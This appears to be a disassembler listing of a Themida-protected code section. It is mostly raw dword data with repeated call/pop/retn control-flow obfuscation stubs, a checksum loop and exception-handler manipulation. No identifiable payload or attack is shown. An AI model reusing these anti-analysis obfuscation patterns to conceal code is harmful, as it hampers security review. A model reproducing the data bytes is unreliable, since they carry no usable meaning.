0CA4D0000h dd 0C02CDD7Fh, 8B5F5FA8h, 0B3042444h, 0E8008BA5h, 6, 4ECF8CADh dd 91B7BC49h, 2444895Fh, 8B666004h, 28E0FC6h, 60000000h dd 6A586161h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 2325C357h, 0F8A5858Dh, 0B58907E7h dd 7E406D5h, 89DE8B50h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 982142C3h, 5FFEB66h dd 0BB669479h, 0FE9F428h, 12000000h, 0E55827EDh, 84A84972h dd 0CC4470DFh, 95FF7CFFh, 7E42D99h, 18718D89h, 0F86107E4h dd 8E853h, 15CA0000h, 7324397Ch, 0D88B591Ah, 85C75B5Bh dd 7E422B9h, 3, 2B45B509h, 0BD8307E4h, 7E7F8A5h, 3E840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0EF49C351h, 0B06A41E9h, 0BE9h dd 6A5D5C00h, 8EF4FE44h, 0FABCD83Fh, 6A19589h, 1DE907E4h dd 8B000000h, 0C3050D9h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 81BF6660h, 1F181BFh, 610A70AAh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0A4C35040h dd 0F633BAEh, 0BD83DABFh, 7E422B9h, 40850F03h, 0F000004h dd 0BD83DEBFh, 7E7F8A5h, 30840F00h, 6A000004h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 353DC353h, 6800F41h, 8B000000h, 0E40EF1BDh, 0A5B5FF07h dd 6007E7F8h, 68E0Fh, 0BD890000h, 7E42349h, 27A5BD89h dd 0FF6107E4h, 0E4044D95h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 8B7E2339h dd 176140DDh, 0B58B4642h, 7E7F899h, 3F11BF66h, 106C7h dd 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0C20F76C3h, 4916695Ch, 0BF66FD54h, 0BB6632D8h dd 0E89636F4h, 8, 0C00DDB15h, 394F2B03h, 505BDE8Bh, 7E853h dd 0D5500000h, 9FA79344h, 820F84h, 5F000000h, 6A965Fh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0AC6FBDC3h, 6FF33985h, 0B5FF4702h, 7E7F8A5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F4C35141h, 0ABA2F1ADh dd 89FB3832h, 0E43169B5h, 995FF07h, 3307E42Ah, 0E42AFD9Dh dd 99B58B07h, 6A07E7F8h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 4723C350h, 65858BF2h dd 6A07E431h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 56BBC357h, 578211E2h, 0F3816695h dd 86890EAFh, 0C4h, 1EB19D8Bh, 958B07E4h, 7E41B71h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B0C35747h, 1660179Fh dd 0C7A05DC2h, 8E0F50D7h, 6, 870Fh, 835F0000h, 6A04C2h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 8D01C4C3h, 7E417D9h, 6A205089h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0D593C355h dd 0AD9D8BC5h, 8D07E42Ah, 0E80CD485h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 530D148Ah, 6E8409A1h, 0AE9h, 43376400h, 0A6138369h dd 8914BD4Bh, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0B3CD8BFh, 6649EC7Ah dd 6AA820BBh, 0D7816600h, 0B5FFFED8h, 7E7F8A5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 23C35040h, 5607C66h dd 0C105D764h, 0AD95FFBFh, 8B07E431h, 0E6BF96D8h, 50355522h dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0B74A1307h, 0B5FF67A6h, 7E7F8A5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 74C35141h, 1195FF94h dd 6A07E41Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 10AFC356h, 0F4992951h, 89607F03h dd 0E4023D85h, 0DEBF0F07h, 0F9BD8361h, 7E40Dh, 12840Fh dd 0BD8B0000h, 7E42409h, 89D98A50h, 85892434h, 7E42BF9h dd 0F8A5B5FFh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0F838AEC3h, 27D95FFh, 0BD2907E4h dd 7E40419h, 0F8A5B5FFh, 13E907E7h, 58000000h, 0A4DF1882h dd 5085ED38h, 362371BEh, 0F4033B0Eh, 5E8BE7Dh, 1000000h dd 0C485192Ah, 458D8960h, 6607E41Ah, 0BDA8D881h, 95FF5B61h dd 7E40971h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 40C35040h, 0A21BD83h, 0F0207E4h, 3A84h, 98D8900h dd 8B07E42Bh, 0E41EB585h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BD8BBB1Fh dd 7E421A1h, 2D75BD23h, 0C607E4h, 0C7FE8B00h, 0E4267185h dd 7, 6D9D8900h, 0E907E42Dh, 0FFFFF353h, 1C15BD89h, 0C18B07E4h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 9C35343h dd 4B7A083Dh, 9D2BC911h, 7E42465h dword_5CBE30 dd 0D85858Dh, 9D2B07E4h, 7E41BD1h, 0F5905090h, 0BF0F006Ah ; DATA XREF: Themida_:00584B14o dd 0F006AFFh, 9D31F8BFh, 7E42349h, 9AC7858Dh, 0BD8B07E8h dd 7E40E45h, 6005C083h, 2F7D958Bh, 506107E4h, 12E8h, 318D9B00h dd 0A3A2F948h, 0EA2DA14Fh, 79A163C3h, 662FC228h, 5F2173BFh dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 23B2C351h, 0A6CEBB29h, 6A7246h dd 22D19D8Bh, 6A07E4h, 1B9D9D8Bh, 95FF07E4h, 7E42471h dd 0BC0CC781h, 8D8D4C58h, 7E7D64Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 68C35646h, 0C362B174h, 0FE9325Bh dd 0DE000000h, 0B248E4C6h, 0C400B2B5h, 8521190Eh, 0D1FF521Ch dd 1D69BD2Bh, 0BD8307E4h, 7E42015h, 3B850F01h, 89000000h dd 0E40D89BDh, 6A026A07h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0FB83C357h, 0C48616FCh dd 50FAD380h, 4895F50h, 0AD95FF24h, 0F07E431h, 8EE9DEBFh dd 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7E89AD1h push 0 push esi call sub_5CBF6E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBF6E proc near ; CODE XREF: Themida_:005CBF66p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5CBF6E endp ; --------------------------------------------------------------------------- dw 2882h dd 0D8C67AA5h, 2964746Dh, 0E42AA5B5h, 359D8B07h, 6A07E402h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0E998C353h, 8B665014h, 858D5BFAh, 7E7C6E1h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B5C35141h dd 0B6CE257Eh, 8E0FE952h, 5, 0BDEB8166h, 665090B1h, 5B390DBBh dd 3B0FBB50h, 6A9073EDh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 3A28C356h, 0C860Fh dd 830F0000h, 6, 0E29B589h, 0BE807E4h, 0C9000000h, 93D529E5h dd 5F95EC66h, 85892D8Dh, 7E431DDh, 35FF645Fh, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5CC04F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC04F proc near ; CODE XREF: Themida_:005CC047p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5CC04F endp ; --------------------------------------------------------------------------- mov dh, 60h mov bx, 9F1Fh mov ebx, eax popa mov large fs:0, esp sub [ebp+7E40DB9h], edi inc dword ptr [ebp+7E420B9h] push 0 push ebx call sub_5CC086 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC086 proc near ; CODE XREF: Themida_:005CC07Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5CC086 endp ; --------------------------------------------------------------------------- push 0FFFFFFECh jz loc_5CC0A4 mov [ebp+7E41C7Dh], ebx loc_5CC0A4: ; CODE XREF: Themida_:005CC098j push 0FFFFFFFFh jmp loc_5CC0BE ; --------------------------------------------------------------------------- db 0B8h dd 457F8229h, 2C5F2E41h, 7F61D8CAh, 229E772Ah ; --------------------------------------------------------------------------- adc esi, edi loc_5CC0BE: ; CODE XREF: Themida_:005CC0A6j push dword ptr [ebp+7E41811h] push 0 push edx call sub_5CC0CF and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC0CF proc near ; CODE XREF: Themida_:005CC0C7p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5CC0CF endp ; --------------------------------------------------------------------------- db 41h dd 0DA8B668Ch, 304D95FFh, 66E907E4h, 0F000001h, 1289h dd 0DE900h, 3D760000h, 176D8D1Fh, 29582B5Eh, 0B0D21AE2h dd 0BD9D8900h, 0E607E415h, 0BBB6670h, 6671E499h, 3924CB81h dd 830F613Ch, 131h, 29C8B60Fh, 0E4213D85h, 6840F07h, 29000000h dd 0E40ED5B5h, 6BA07h, 9E90000h, 0AB000000h, 605F12DCh dd 9254BCEh, 58F0Fh, 3BB0000h, 8B742097h, 4E8C1C1h, 2D458D31h dd 0F76607E4h, 2BDF8BE2h, 38E0FC8h, 80000000h, 8B6049D3h dd 0E4024595h, 2810F07h, 57000000h, 0D18B615Ah, 10E9h dd 28FC5500h, 0DA03216Fh, 82E7919Fh, 0F03831DDh, 6E949h dd 0D7810000h, 424ADF54h, 25C5858Bh, 5E907E4h, 78000000h dd 47E6EEB0h, 8907C083h, 0E42221B5h, 0C08307h, 0A58D8957h dd 5B07E415h, 830FD03Bh, 2Ch, 0E5BD8B51h, 5F07E422h, 78E9h dd 13E800h, 141F0000h, 0D531980h, 0BA0268A8h, 7E44EAF4h dd 7264DA26h, 19BD8B32h, 5B07E40Ah, 35918D8Bh, 0E85107E4h dd 12h, 0EED3E5DBh, 60914E07h, 76675CC0h, 1C3EA262h, 0DEB768FDh dd 9D035F5Fh, 7E40035h, 0F01E183h, 2884h, 68E0F00h, 1000000h dd 0E403F985h, 91A58307h, 0FE07E435h, 19E7BB66h, 25C59589h dd 0BD8B07E4h, 7E41DD9h, 0E9h, 2AB58D00h, 8B07E827h, 0E423A1BDh dd 6A006A07h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0E5B6C356h, 5E9h, 0D421E600h dd 95FF06A7h, 7E40E41h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 8C35545h, 0E8D260Bh, 0CE95380h, 0B1000000h dd 852A6553h, 28637CD7h, 0B91CD69Ch, 817h, 2FE1BD8Bh, 0E18307E4h dd 0B1BD89FCh, 0FC07E418h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0D9C35545h, 9743A5E3h, 0F4F6DF5h, 0A87h dd 5E900h, 0A79A0000h, 2B093BBCh, 659D09C0h, 0BA07E424h dd 0 ; --------------------------------------------------------------------------- adc bx, 0E48Bh sub edi, 5BE889F7h loc_5CC323: ; CODE XREF: Themida_:005CC32Dj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5CC323 push 0 push ecx call sub_5CC33A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC33A proc near ; CODE XREF: Themida_:005CC332p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5CC33A endp ; --------------------------------------------------------------------------- dw 0F7F4h ; --------------------------------------------------------------------------- or [edx], eax sal ebp, 1 xchg ecx, ebp push 0 push edx call sub_5CC35D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC35D proc near ; CODE XREF: Themida_:005CC355p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5CC35D endp ; --------------------------------------------------------------------------- mov ebp, 0FA0F3EE7h xlat retf ; --------------------------------------------------------------------------- dec ebp dec ecx clc or eax, 88h push 0 push ebx call sub_5CC387 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC387 proc near ; CODE XREF: Themida_:005CC37Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5CC387 endp ; --------------------------------------------------------------------------- db 0EBh dd 6E9C8h, 34E80000h, 0ED6DB31Eh, 71958BF5h, 6A07E41Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0E5D1C351h, 52426BA1h, 0BFC4D71Dh, 0CFD8414h dd 6830Fh, 0BD290000h, 7E41E6Dh, 2DA18D8Bh, 6A07E4h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 6E950C3h, 0E5000000h, 52426BA1h, 0C28B501Dh, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 638AC350h dd 0AB359F5Eh, 89682DBFh, 0E42AE1B5h, 0BD83F907h, 7E40611h dd 47840F00h, 80000000h, 0B814C7h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0C3B6C352h, 8D09C14Fh, 7E4009Dh, 0DF8166h, 0E78D8D52h dd 8B07E44Fh, 0FE1FFDAh, 581h, 0C664BB00h, 0BD836546h dd 7E422B9h, 9D840F00h, 0F5000004h, 22B9BD83h, 0F0107E4h dd 4AA84h, 71958900h, 0BF07E422h, 1056C278h, 22B9BD83h dd 0F0307E4h, 45C86h, 0E9BD2B00h, 6007E401h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 7CC35646h, 0FAADDF57h dd 0B1B589EDh, 8107E403h, 7258B8DFh, 0D98C6604h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D7C35646h, 666610CEh dd 860FF88Bh, 6, 14FD9D8Bh, 0E18007E4h, 56006A04h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0E6EA6BCh, 4FEF8163h, 0A254F46h, 69840FC9h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 7D09C352h, 0BF7C13A1h, 725B5D67h, 651858Bh dd 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 435427C3h, 4FE380F4h, 6810Fh, 0BD8B0000h dd 7E42D19h, 20298533h, 8D0F07E4h, 6, 365BD23h, 0E89007E4h dd 0Ch, 0E2399209h, 0F53BC80Ah, 0E9548529h, 5810Fh, 2BB0000h dd 5B5268AAh, 0B7525050h, 66310F74h, 585AD98Bh, 6AF98B90h dd 79858900h, 0E807E402h, 4, 1F03FFh, 50525060h, 5A310F52h dd 0BE310F58h, 24C9953Ch, 8A0F585Ah, 17h, 11E8h, 4180AC00h dd 3DDF4A3h, 34C62E36h, 456483ECh, 615E22D8h, 8B49B750h dd 66042444h, 8BD88Bh, 840F5250h, 2, 310F73B3h, 585A1AB7h dd 4244489h, 9C26F6BFh, 6A5829h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 4A1CDDC3h, 5718D99Ah dd 95FF5BF9h, 7E42D99h, 0B66ECF81h, 9D8B574Ch, 7E42DADh dd 0F8A58589h, 816607E7h, 0E97427E7h, 1EBh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5DC35545h, 63FE6D2Ah dd 0DC440032h, 0F89D858Bh, 6A07E7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 751E1EC3h dd 1800C74Dh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 6619C357h, 1B53E781h dd 0F8A1B58Bh, 0BD3307E7h, 7E40145h, 99858Bh, 6A07E4h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 689B8C3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0E4C35545h, 816645F0h, 8BF586F3h, 0E4065185h, 89DF8B07h dd 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 47BF0DC3h, 5040B2C1h, 14E860h, 0BBCF0000h dd 582182C3h, 55413ACFh, 973CE4AAh, 0DBB3EC84h, 4BBE2373h dd 5E401300h, 0F56B966h, 24348961h, 15298589h, 8E907E4h dd 0DD000000h, 56AED9F8h, 0FF00BD9Fh, 0E7F89DB5h, 0CB816607h dd 0FE68CCD3h, 8142413Bh, 38012434h, 6A425Eh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0BBCF7CC3h dd 63A3FC94h, 1C1D9D8Bh, 858D07E4h, 7E7F8A5h, 41BD8Bh dd 669007E4h, 50FA78BBh, 52A12BFh, 6A9050h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 78920EC3h dd 0ECBE05B2h, 0CE84Dh, 44C70000h, 0F76E4185h, 4DB61353h dd 0B5890186h, 7E415E5h, 9995FF5Fh, 6A07E42Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8B61C355h, 0E426819Dh, 0B4EF8107h, 6138A39Eh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 80C35040h, 518F4481h dd 6CC51EAEh, 10E9h, 0BED05C00h, 0EB44EDF1h, 34E871B5h dd 0ED6DB31Eh, 0B985C7A8h, 307E422h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 8693C355h, 0B586B97Fh, 68A0Fh, 85890000h, 7E42019h dd 0F8A5BD83h, 0F0007E7h, 1884h, 8E900h, 5E8A0000h, 0EE4AC20h dd 21E98F79h, 3000000h, 0E40E459Dh, 0C305007h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0AADB589h, 6A07E4h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 253057C3h, 0D8B70F40h, 22B9BD83h, 0F0307E4h, 3EB85h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 1B59A143h, 0FB8B14FBh, 0F8A5BD83h, 0F0007E7h dd 3BB84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 63A9E86Ch, 0F4191B87h, 9D032C83h dd 7E4237Dh, 0F8A5B5FFh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0BD8BAEC3h, 7E42139h dd 44D95FFh, 5ABB07E4h, 661055E0h, 8B6503BFh, 0E7F899B5h dd 39BD8B07h, 0C707E426h, 1000106h, 6830F00h, 89000000h dd 0E41C598Dh, 890F9607h, 5, 4B2DBBBBh, 6A96500Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 353EC351h, 0BF4BD804h, 14E9h, 0CA72A00h, 482A763Fh dd 56E02E88h, 0F41DB1A9h, 5B7B5E67h, 0A5B5FF4Ah, 6007E7F8h dd 18299D89h, 0AE907E4h, 0E2000000h, 0AA50911Eh, 0B05E9A11h dd 95FF61D4h, 7E42A09h, 0F899B58Bh, 8B0F07E7h, 4, 5BD98B52h dd 3165858Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 17D9C3C3h, 579785EAh, 0BD23B050h dd 7E42341h, 0C48689h, 0B5890000h, 7E41E59h, 0EE8h, 565B9700h dd 9C471DC2h, 815893C7h, 0F5263EECh, 71958B5Bh, 6A07E41Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 1033C350h, 0DBD7CA15h, 8B04C283h, 0E42EC59Dh dd 20508907h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 18C35141h, 3065116Fh, 0D3810883h, 5B5FCFCBh, 0CD4858Dh dd 868907E8h, 0B8h dd 6A26B3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0E0C35646h, 0CA9805FCh, 9E2703DCh, 6800Fh, 85010000h dd 7E402B9h, 7DF8166h, 0A5B5FF07h, 0F07E7F8h, 95FFDEBFh dd 7E431ADh, 5AD2BF66h, 5E996h, 0A06E0000h, 505C206Eh dd 0FE8h, 47AB3D00h, 9356CA8Ah, 235FCBF9h, 83D1E884h, 8E8h dd 86383700h, 2C348606h, 5BD9B349h, 6A965Fh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 764B01C3h dd 8B0BB76Eh, 0E400559Dh, 0A5B5FF07h, 0BF07E7F8h, 4D9F0872h dd 1B1195FFh, 9D3107E4h, 7E403B5h, 0DF9BD83h, 0F0007E4h dd 2E84h, 80DA8B00h, 6096B2CBh, 6FA3BB66h, 5061D88Bh, 0BE9h dd 28764D00h, 2D37FED9h, 72370DB0h, 8D896096h, 7E42C4Dh dd 1D958533h, 0FF6107E4h, 0E7F8A5B5h, 53006A07h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 4C0E010Ch, 0BD232F7Fh, 7E43021h, 27D95FFh, 6A07E4h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 8BB5A5C3h, 0FFF94B02h, 0E7F8A5B5h, 1BD2B07h, 0FF07E406h dd 0E4097195h, 0B1BD8907h, 8307E401h, 0E40A21BDh, 840F0207h dd 65h, 1BA9B589h, 858B07E4h, 7E41EB5h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 5DC35242h, 12096745h dd 698D29CAh, 2307E430h, 0E42B71BDh, 0C607h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8CC35545h, 99D897Dh dd 907E40Fh, 0E4233985h, 7185C707h, 7E426h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 7EA4C352h, 0AE007C86h, 0BD8BAC5Fh, 7E43191h dd 0FFF2FFE9h, 0F1BD8BFFh, 8B07E415h, 51006AC1h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0D0FA7EB0h, 0A71E008Ch, 0FE9E0h, 29460000h, 25CFC9B0h dd 0AD2E7F45h, 0C42C4153h db 7Ah byte_5CCDE5 db 8Dh, 2 dup(85h) ; DATA XREF: Themida_:00583CE8o dd 8107E40Dh, 166418EFh, 8A0F9037h, 3, 50D88B66h, 8B90FA8Bh dd 0F9B589DAh, 6A07E42Ah, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BD03CCAAh dd 7E429F5h, 5059529h, 6A07E4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 94C35646h, 9D8B2999h, 7E41D91h dd 0ABA7858Dh, 6A07E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 514B3AC3h, 6E9D2h, 0C9010000h, 0E6FAF6Eh dd 6A05C083h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0EE97C355h, 0F8BF0F23h, 860F5290h dd 2, 505B73B3h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 27F6C4A8h, 0B3E8465Bh dd 6860Fh, 0B5890000h, 7E41B15h, 9D8B006Ah, 7E42B5Dh, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 864532C3h, 9529F88Bh, 7E41915h, 247195FFh, 6A07E4h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 48A1B0C3h, 4F38E649h, 8B96026Ch, 0E41FB9BDh, 4B8D8D07h dd 6A07E7D6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0EFE3C353h, 0BF274AA3h, 0D1FF0CC9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 4AC35646h dd 0E4EFAF4h, 26EB9FBBh, 659D8B60h, 8307E405h, 0E42015BDh dd 850F0107h, 86h, 8D9D2960h, 0F07E414h, 686h, 559D8B00h dd 6107E416h, 0C381026Ah, 5BD656A9h, 1E1D9D8Bh, 509007E4h dd 0F4FB752h, 13E831h, 961B0000h, 2536D869h, 21A966F6h dd 0A525EFB5h, 0E07B8D15h, 78BF66DDh, 585A5F88h, 0E769BB50h dd 6A906823h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 2DD0C356h, 0DD8F00A3h, 52FB89BCh dd 1FF9BD89h, 95FF07E4h, 7E431ADh, 1925BD8Bh, 53E907E4h dd 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7E8ABB1h ja loc_5CD04E adc di, 7F2h loc_5CD04E: ; CODE XREF: Themida_:005CD043j mov edi, 43F52D79h lea eax, [ebp+7E7C6E1h] push 0 push ebp call sub_5CD064 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD064 proc near ; CODE XREF: Themida_:005CD05Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5CD064 endp ; --------------------------------------------------------------------------- dd 569015D6h, 13E8h, 42A76000h, 6787AF36h, 0DF1DCA3Bh dd 3507BB53h, 475AC8A3h, 66505F5Fh, 90F94DBBh, 21959589h dd 0FF6407E4h, 35h, 25896400h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5CD0B7 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD0B7 proc near ; CODE XREF: Themida_:005CD0AFp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5CD0B7 endp ; --------------------------------------------------------------------------- db 0DBh dd 0E35DBF05h, 85FF7DC0h, 7E420B9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0CFC35343h, 810F0162h, 6, 24D8D89h dd 0FF6A07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 55C35747h, 550CC57Eh, 0DE8B66D7h, 0B5FFA6B7h, 7E40919h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E7C35040h dd 0A099BD6Eh, 7A4D62E3h, 4D95FFDEh, 0E907E430h, 0FEh dd 258D8960h, 8907E400h, 0E420418Dh, 0FE8B6107h, 816600B0h dd 0E69797E3h, 0E45B5070h, 0E820F71h, 60000000h, 14A98533h dd 853107E4h, 7E40A7Dh, 0F613C61h, 0C583h, 0AD9D8B00h dd 0F07E421h, 0D98BC8B6h, 6BAh, 0E19D0300h, 8B07E406h dd 0BA6660C1h, 81663ED2h, 610420F0h, 0F04E8C1h, 0F766D8BFh dd 0D9BF0FE2h, 0D18BC82Bh, 67C38166h, 5E911h, 81660000h dd 8BD42EC3h, 0E4217985h, 3D9D8B07h, 8307E41Eh, 0E85307C0h dd 0Fh, 0A04C69C2h, 30C3F1DCh, 0A4F8D291h, 81089A73h, 0C168ECF7h dd 835B5F1Dh, 0BF6600C0h, 0D03B74A2h, 11830Fh, 9D8B0000h dd 7E4148Dh, 3DE9h, 21958900h, 8B07E424h, 0E409658Dh, 49B58907h dd 8B07E427h, 0E403899Dh, 1E18307h, 1C840Fh, 81660000h dd 831808E3h, 0E40965A5h, 9589FE07h, 7E42179h, 0E7CB8166h dd 0E92Fh, 0B58D0000h, 7E8310Ch, 8E8h, 612CD00h, 0B4619F6Ah 